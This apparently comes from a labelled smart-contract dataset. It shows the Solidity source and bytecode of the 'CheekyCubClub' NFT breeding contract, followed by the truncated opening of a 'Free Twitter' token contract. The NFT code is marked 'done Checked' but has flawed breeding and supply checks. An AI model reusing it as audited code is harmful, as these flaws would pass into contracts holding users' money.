= to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /* _____ _ _ / __ \ | | | | / \/ |__ ___ ___| | ___ _ | | | '_ \ / _ \/ _ \ |/ / | | | | \__/\ | | | __/ __/ <| |_| | \____/_| |_|\___|\___|_|\_\\__, | __/ | |___/ / _____ _ / __ \ | | | / \/_ _| |__ | | | | | | '_ \ | \__/\ |_| | |_) | \____/\__,_|_.__/ / _____ _ _ / __ \ | | | | / \/ |_ _| |__ | | | | | | | '_ \ | \__/\ | |_| | |_) | \____/_|\__,_|_.__/ */ contract CheekyCubClub is ERC721("Cheeky Cub Club", "CCC") { IERC721 public Lion; IERC721 public Cougar; string public baseURI; bool public isSaleActive; bool isBreedCubActive; uint256 public circulatingSupply; address public owner; uint[] _BreadedLion; uint[] _BreededCougar; uint256 public constant totalSupply = 10333; uint256 public itemPrice = 0.04 ether; mapping(uint => uint) BreededLion; mapping(uint => uint) BreededCougar; constructor(address _lion, address _cougar, address _owner) { Lion = IERC721(_lion); Cougar = IERC721(_cougar); owner = _owner; } ///////////////////////////////// // breeding conditioner // ///////////////////////////////// // βœ… done Checked function breedingCondition(uint _howMany, uint _Lion, uint _Cougar)internal{ require(Lion.ownerOf(_Lion) == msg.sender, "your are not owner of this Lion"); require(Cougar.ownerOf(_Cougar) == msg.sender, "your are not owner of this Cougar"); require(breededLion(_Lion) != true && breededCougar(_Cougar) != true, "already Breeded"); require(_howMany <= Lion.balanceOf(msg.sender), "You dont have enough Lions"); require(_howMany <= Cougar.balanceOf(msg.sender), "You dont have enough Cougars"); _BreadedLion.push(_Lion); _BreededCougar.push(_Cougar); BreededLion[_Lion] = _Cougar; BreededCougar[_Cougar] = _Lion; } // βœ… done Checked function checkAvailabilityOfLion(uint _Lion) public view returns(string memory message){ if(breededLion(_Lion) == true){ return message = "not availability"; }else{ return message = "available"; } } // βœ… done Checked function checkAvailabilityOfCougar(uint _Cougar) public view returns(string memory message){ if(breededCougar(_Cougar) == true){ return message = "not availability"; }else{ return message = "available"; } } // βœ… done Checked function breededLion(uint _Lion) public view returns(bool breeded){ if(BreededLion[_Lion] > 0){ return breeded = true; } } // βœ… done Checked function breededCougar(uint _Cougar) public view returns(bool breeded){ if(BreededCougar[_Cougar] > 0){ return breeded = true; } } //////////////////// // PUBLIC SALE // //////////////////// // Purchase NFT // βœ… done Checked function breedCub(uint256 _howMany, uint _Lion, uint _Cougar) external tokensAvailable(_howMany) { require( isBreedCubActive && circulatingSupply <= 10333, "Breed is not active" ); breedingCondition(_howMany,_Lion,_Cougar); _mint(msg.sender, ++circulatingSupply); } // βœ… done Checked function startBreedCub() external onlyOwner { isBreedCubActive = true; } // βœ… done Checked function stopBreedCub() external onlyOwner { isBreedCubActive = false; } // βœ… done Checked // Purchase multiple NFTs at once function purchaseTokens(uint256 _howMany) external payable tokensAvailable(_howMany) { require( isSaleActive, "Sale is not active" ); require( _howMany > 0 && _howMany <= 10, "Mint min 1, max 10" ); require( msg.value >= _howMany * itemPrice, "Try to send more ETH" ); require( circulatingSupply <= 10333, "can't mint more then circulating supply" ); payable(owner).transfer(msg.value); for (uint256 i = 0; i < _howMany; i++) _mint(msg.sender, ++circulatingSupply); } //Gift // Send NFTs to a list of addresses function giftNftToList(address[] calldata _sendNftsTo) external onlyOwner tokensAvailable(_sendNftsTo.length) { for (uint256 i = 0; i < _sendNftsTo.length; i++) _mint(_sendNftsTo[i], ++circulatingSupply); } function LionFinder() public view returns(uint[] memory){ return _BreadedLion; } function CougarFinder() public view returns(uint[] memory){ return _BreededCougar; } ////////////////////////// // Only Owner Methods // ////////////////////////// // βœ… done Checked function stopSale() external onlyOwner { isSaleActive = false; } // βœ… done Checked function startSale() external onlyOwner { isSaleActive = true; } // Hide identity or show identity from here // βœ… done Checked function setBaseURI(string memory __baseURI) external onlyOwner { baseURI = __baseURI; } // βœ… done Checked // Change price in case of ETH price changes too much function setPrice(uint256 _newPrice) external onlyOwner { itemPrice = _newPrice; } /////////////////// // Query Method // /////////////////// // βœ… done Checked function tokensRemaining() public view returns (uint256) { return totalSupply - circulatingSupply; } function _baseURI() internal view override returns (string memory) { return baseURI; } /////////////////// // Modifiers // /////////////////// // βœ… done Checked modifier tokensAvailable(uint256 _howMany) { require(_howMany <= tokensRemaining(), "Try minting less tokens"); _; } // βœ… done Checked modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } }
0x60806040526004361061026a5760003560e01c80637b97008d11610153578063b66a0e5d116100cb578063dac6db1c1161007f578063e939e70211610064578063e939e70214610672578063e985e9c514610687578063f9529a26146106d057600080fd5b8063dac6db1c14610647578063e36b0b371461065d57600080fd5b8063c2f55bcd116100b0578063c2f55bcd146105fd578063c87b56dd14610612578063c8b081251461063257600080fd5b8063b66a0e5d146105c8578063b88d4fde146105dd57600080fd5b806395d89b4111610122578063ae14698211610107578063ae14698214610568578063b35695e514610588578063b50153e2146105a857600080fd5b806395d89b4114610533578063a22cb4651461054857600080fd5b80637b97008d146104ca5780638da5cb5b146104dd57806391b7f5ed146104fd5780639358928b1461051d57600080fd5b8063354cf32d116101e65780636352211e116101b557806370a082311161019a57806370a082311461046a57806371365d081461048a5780637579e9a3146104aa57600080fd5b80636352211e146104355780636c0360eb1461045557600080fd5b8063354cf32d146103bb57806342842e0e146103db57806355f804b3146103fb578063564566a81461041b57600080fd5b8063122eb3941161023d57806323b872dd1161022257806323b872dd146103645780632dbe93781461038457806333718aa11461039957600080fd5b8063122eb3941461032057806318160ddd1461034057600080fd5b806301ffc9a71461026f57806306fdde03146102a4578063081812fc146102c6578063095ea7b3146102fe575b600080fd5b34801561027b57600080fd5b5061028f61028a3660046124d3565b6106f0565b60405190151581526020015b60405180910390f35b3480156102b057600080fd5b506102b96107d5565b60405161029b9190612548565b3480156102d257600080fd5b506102e66102e136600461255b565b610867565b6040516001600160a01b03909116815260200161029b565b34801561030a57600080fd5b5061031e610319366004612589565b610912565b005b34801561032c57600080fd5b5061031e61033b3660046125b5565b610a44565b34801561034c57600080fd5b5061035661285d81565b60405190815260200161029b565b34801561037057600080fd5b5061031e61037f3660046125e1565b610b31565b34801561039057600080fd5b5061031e610bb8565b3480156103a557600080fd5b506103ae610c23565b60405161029b9190612622565b3480156103c757600080fd5b506102b96103d636600461255b565b610c7a565b3480156103e757600080fd5b5061031e6103f63660046125e1565b610d06565b34801561040757600080fd5b5061031e6104163660046126f2565b610d21565b34801561042757600080fd5b5060095461028f9060ff1681565b34801561044157600080fd5b506102e661045036600461255b565b610d92565b34801561046157600080fd5b506102b9610e1d565b34801561047657600080fd5b5061035661048536600461273b565b610eab565b34801561049657600080fd5b5061028f6104a536600461255b565b610f45565b3480156104b657600080fd5b5061028f6104c536600461255b565b610f61565b61031e6104d836600461255b565b610f7d565b3480156104e957600080fd5b50600b546102e6906001600160a01b031681565b34801561050957600080fd5b5061031e61051836600461255b565b6111c4565b34801561052957600080fd5b50610356600a5481565b34801561053f57600080fd5b506102b9611223565b34801561055457600080fd5b5061031e610563366004612758565b611232565b34801561057457600080fd5b506007546102e6906001600160a01b031681565b34801561059457600080fd5b506006546102e6906001600160a01b031681565b3480156105b457600080fd5b506102b96105c336600461255b565b61123d565b3480156105d457600080fd5b5061031e611248565b3480156105e957600080fd5b5061031e6105f8366004612796565b6112b1565b34801561060957600080fd5b506103ae611339565b34801561061e57600080fd5b506102b961062d36600461255b565b61138f565b34801561063e57600080fd5b50610356611478565b34801561065357600080fd5b50610356600e5481565b34801561066957600080fd5b5061031e61148f565b34801561067e57600080fd5b5061031e6114f5565b34801561069357600080fd5b5061028f6106a2366004612816565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156106dc57600080fd5b5061031e6106eb366004612844565b61155c565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061078357507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806107cf57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6060600080546107e4906128b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610810906128b9565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108f65760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061091d82610d92565b9050806001600160a01b0316836001600160a01b031614156109a75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016108ed565b336001600160a01b03821614806109c357506109c381336106a2565b610a355760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108ed565b610a3f8383611664565b505050565b82610a4d611478565b811115610a9c5760405162461bcd60e51b815260206004820152601760248201527f547279206d696e74696e67206c65737320746f6b656e7300000000000000000060448201526064016108ed565b600954610100900460ff168015610ab7575061285d600a5411155b610b035760405162461bcd60e51b815260206004820152601360248201527f4272656564206973206e6f74206163746976650000000000000000000000000060448201526064016108ed565b610b0e8484846116df565b610b2b33600a60008154610b219061290a565b9182905550611b92565b50505050565b610b3b3382611ce1565b610bad5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016108ed565b610a3f838383611de9565b600b546001600160a01b03163314610c125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b6009805461ff001916610100179055565b6060600c80548060200260200160405190810160405280929190818152602001828054801561085d57602002820191906000526020600020905b815481526020019060010190808311610c5d575050505050905090565b6060610c8582610f45565b151560011415610cc857505060408051808201909152601081527f6e6f7420617661696c6162696c69747900000000000000000000000000000000602082015290565b505060408051808201909152600981527f617661696c61626c650000000000000000000000000000000000000000000000602082015290565b919050565b610a3f838383604051806020016040528060008152506112b1565b600b546001600160a01b03163314610d7b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b8051610d8e906008906020840190612409565b5050565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016108ed565b60088054610e2a906128b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610e56906128b9565b8015610ea35780601f10610e7857610100808354040283529160200191610ea3565b820191906000526020600020905b815481529060010190602001808311610e8657829003601f168201915b505050505081565b60006001600160a01b038216610f295760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016108ed565b506001600160a01b031660009081526003602052604090205490565b60008181526010602052604081205415610d0157506001919050565b6000818152600f602052604081205415610d0157506001919050565b80610f86611478565b811115610fd55760405162461bcd60e51b815260206004820152601760248201527f547279206d696e74696e67206c65737320746f6b656e7300000000000000000060448201526064016108ed565b60095460ff166110275760405162461bcd60e51b815260206004820152601260248201527f53616c65206973206e6f7420616374697665000000000000000000000000000060448201526064016108ed565b6000821180156110385750600a8211155b6110845760405162461bcd60e51b815260206004820152601260248201527f4d696e74206d696e20312c206d6178203130000000000000000000000000000060448201526064016108ed565b600e546110919083612925565b3410156110e05760405162461bcd60e51b815260206004820152601460248201527f54727920746f2073656e64206d6f72652045544800000000000000000000000060448201526064016108ed565b61285d600a54111561115a5760405162461bcd60e51b815260206004820152602760248201527f63616e2774206d696e74206d6f7265207468656e2063697263756c6174696e6760448201527f20737570706c790000000000000000000000000000000000000000000000000060648201526084016108ed565b600b546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015611193573d6000803e3d6000fd5b5060005b82811015610a3f576111b233600a60008154610b219061290a565b806111bc8161290a565b915050611197565b600b546001600160a01b0316331461121e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b600e55565b6060600180546107e4906128b9565b610d8e338383611fc3565b6060610c8582610f61565b600b546001600160a01b031633146112a25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b6009805460ff19166001179055565b6112bb3383611ce1565b61132d5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016108ed565b610b2b84848484612092565b6060600d80548060200260200160405190810160405280929190818152602001828054801561085d5760200282019190600052602060002090815481526020019060010190808311610c5d575050505050905090565b6000818152600260205260409020546060906001600160a01b031661141c5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016108ed565b600061142661211b565b905060008151116114465760405180602001604052806000815250611471565b806114508461212a565b604051602001611461929190612944565b6040516020818303038152906040525b9392505050565b6000600a5461285d61148a9190612973565b905090565b600b546001600160a01b031633146114e95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b6009805460ff19169055565b600b546001600160a01b0316331461154f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b6009805461ff0019169055565b600b546001600160a01b031633146115b65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108ed565b806115bf611478565b81111561160e5760405162461bcd60e51b815260206004820152601760248201527f547279206d696e74696e67206c65737320746f6b656e7300000000000000000060448201526064016108ed565b60005b82811015610b2b5761165284848381811061162e5761162e61298a565b9050602002016020810190611643919061273b565b600a60008154610b219061290a565b8061165c8161290a565b915050611611565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906116a682610d92565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6006546040517f6352211e0000000000000000000000000000000000000000000000000000000081526004810184905233916001600160a01b031690636352211e9060240160206040518083038186803b15801561173c57600080fd5b505afa158015611750573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177491906129a0565b6001600160a01b0316146117ca5760405162461bcd60e51b815260206004820152601f60248201527f796f757220617265206e6f74206f776e6572206f662074686973204c696f6e0060448201526064016108ed565b6007546040517f6352211e0000000000000000000000000000000000000000000000000000000081526004810183905233916001600160a01b031690636352211e9060240160206040518083038186803b15801561182757600080fd5b505afa15801561183b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185f91906129a0565b6001600160a01b0316146118db5760405162461bcd60e51b815260206004820152602160248201527f796f757220617265206e6f74206f776e6572206f66207468697320436f75676160448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016108ed565b6118e482610f61565b151560011480159061190157506118fa81610f45565b1515600114155b61194d5760405162461bcd60e51b815260206004820152600f60248201527f616c72656164792042726565646564000000000000000000000000000000000060448201526064016108ed565b6006546040517f70a082310000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156119a957600080fd5b505afa1580156119bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e191906129bd565b831115611a305760405162461bcd60e51b815260206004820152601a60248201527f596f7520646f6e74206861766520656e6f756768204c696f6e7300000000000060448201526064016108ed565b6007546040517f70a082310000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b03909116906370a082319060240160206040518083038186803b158015611a8c57600080fd5b505afa158015611aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac491906129bd565b831115611b135760405162461bcd60e51b815260206004820152601c60248201527f596f7520646f6e74206861766520656e6f75676820436f75676172730000000060448201526064016108ed565b600c805460018181019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701839055600d805491820190557fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb5018190556000828152600f6020908152604080832084905592825260109052205550565b6001600160a01b038216611be85760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108ed565b6000818152600260205260409020546001600160a01b031615611c4d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108ed565b6001600160a01b0382166000908152600360205260408120805460019290611c769084906129d6565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000818152600260205260408120546001600160a01b0316611d6b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016108ed565b6000611d7683610d92565b9050806001600160a01b0316846001600160a01b03161480611db15750836001600160a01b0316611da684610867565b6001600160a01b0316145b80611de157506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611dfc82610d92565b6001600160a01b031614611e785760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016108ed565b6001600160a01b038216611ef35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016108ed565b611efe600082611664565b6001600160a01b0383166000908152600360205260408120805460019290611f27908490612973565b90915550506001600160a01b0382166000908152600360205260408120805460019290611f559084906129d6565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b816001600160a01b0316836001600160a01b031614156120255760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108ed565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61209d848484611de9565b6120a98484848461225c565b610b2b5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016108ed565b6060600880546107e4906128b9565b60608161216a57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612194578061217e8161290a565b915061218d9050600a83612a04565b915061216e565b60008167ffffffffffffffff8111156121af576121af612666565b6040519080825280601f01601f1916602001820160405280156121d9576020820181803683370190505b5090505b8415611de1576121ee600183612973565b91506121fb600a86612a18565b6122069060306129d6565b60f81b81838151811061221b5761221b61298a565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612255600a86612a04565b94506121dd565b60006001600160a01b0384163b156123fe576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a02906122b9903390899088908890600401612a2c565b602060405180830381600087803b1580156122d357600080fd5b505af1925050508015612303575060408051601f3d908101601f1916820190925261230091810190612a68565b60015b6123b3573d808015612331576040519150601f19603f3d011682016040523d82523d6000602084013e612336565b606091505b5080516123ab5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016108ed565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611de1565b506001949350505050565b828054612415906128b9565b90600052602060002090601f016020900481019282612437576000855561247d565b82601f1061245057805160ff191683800117855561247d565b8280016001018555821561247d579182015b8281111561247d578251825591602001919060010190612462565b5061248992915061248d565b5090565b5b80821115612489576000815560010161248e565b7fffffffff00000000000000000000000000000000000000000000000000000000811681146124d057600080fd5b50565b6000602082840312156124e557600080fd5b8135611471816124a2565b60005b8381101561250b5781810151838201526020016124f3565b83811115610b2b5750506000910152565b600081518084526125348160208601602086016124f0565b601f01601f19169290920160200192915050565b602081526000611471602083018461251c565b60006020828403121561256d57600080fd5b5035919050565b6001600160a01b03811681146124d057600080fd5b6000806040838503121561259c57600080fd5b82356125a781612574565b946020939093013593505050565b6000806000606084860312156125ca57600080fd5b505081359360208301359350604090920135919050565b6000806000606084860312156125f657600080fd5b833561260181612574565b9250602084013561261181612574565b929592945050506040919091013590565b6020808252825182820181905260009190848201906040850190845b8181101561265a5783518352928401929184019160010161263e565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561269757612697612666565b604051601f8501601f19908116603f011681019082821181831017156126bf576126bf612666565b816040528093508581528686860111156126d857600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561270457600080fd5b813567ffffffffffffffff81111561271b57600080fd5b8201601f8101841361272c57600080fd5b611de18482356020840161267c565b60006020828403121561274d57600080fd5b813561147181612574565b6000806040838503121561276b57600080fd5b823561277681612574565b91506020830135801515811461278b57600080fd5b809150509250929050565b600080600080608085870312156127ac57600080fd5b84356127b781612574565b935060208501356127c781612574565b925060408501359150606085013567ffffffffffffffff8111156127ea57600080fd5b8501601f810187136127fb57600080fd5b61280a8782356020840161267c565b91505092959194509250565b6000806040838503121561282957600080fd5b823561283481612574565b9150602083013561278b81612574565b6000806020838503121561285757600080fd5b823567ffffffffffffffff8082111561286f57600080fd5b818501915085601f83011261288357600080fd5b81358181111561289257600080fd5b8660208260051b85010111156128a757600080fd5b60209290920196919550909350505050565b600181811c908216806128cd57607f821691505b602082108114156128ee57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600060001982141561291e5761291e6128f4565b5060010190565b600081600019048311821515161561293f5761293f6128f4565b500290565b600083516129568184602088016124f0565b83519083019061296a8183602088016124f0565b01949350505050565b600082821015612985576129856128f4565b500390565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156129b257600080fd5b815161147181612574565b6000602082840312156129cf57600080fd5b5051919050565b600082198211156129e9576129e96128f4565b500190565b634e487b7160e01b600052601260045260246000fd5b600082612a1357612a136129ee565b500490565b600082612a2757612a276129ee565b500690565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612a5e608083018461251c565b9695505050505050565b600060208284031215612a7a57600080fd5b8151611471816124a256fea2646970667358221220e4033374e7aaa6f217668813faf1df8fbcbf63a7754bcf3e6b25eb6ba73bf3c564736f6c63430008090033
[ 5 ]
0xf280bca4eb6d8dd557c2fdf41a797c9f1af99a20
/** β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β• β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β•šβ•β•β• β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• Free Twitter ($FT) is a movement to allow actual free speech on Twitter With Elon Musk acquiring Twitter, we hope there will be less censorship on the platform Because we all know that crypto, decentralization, and free speech go hand in hand */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns 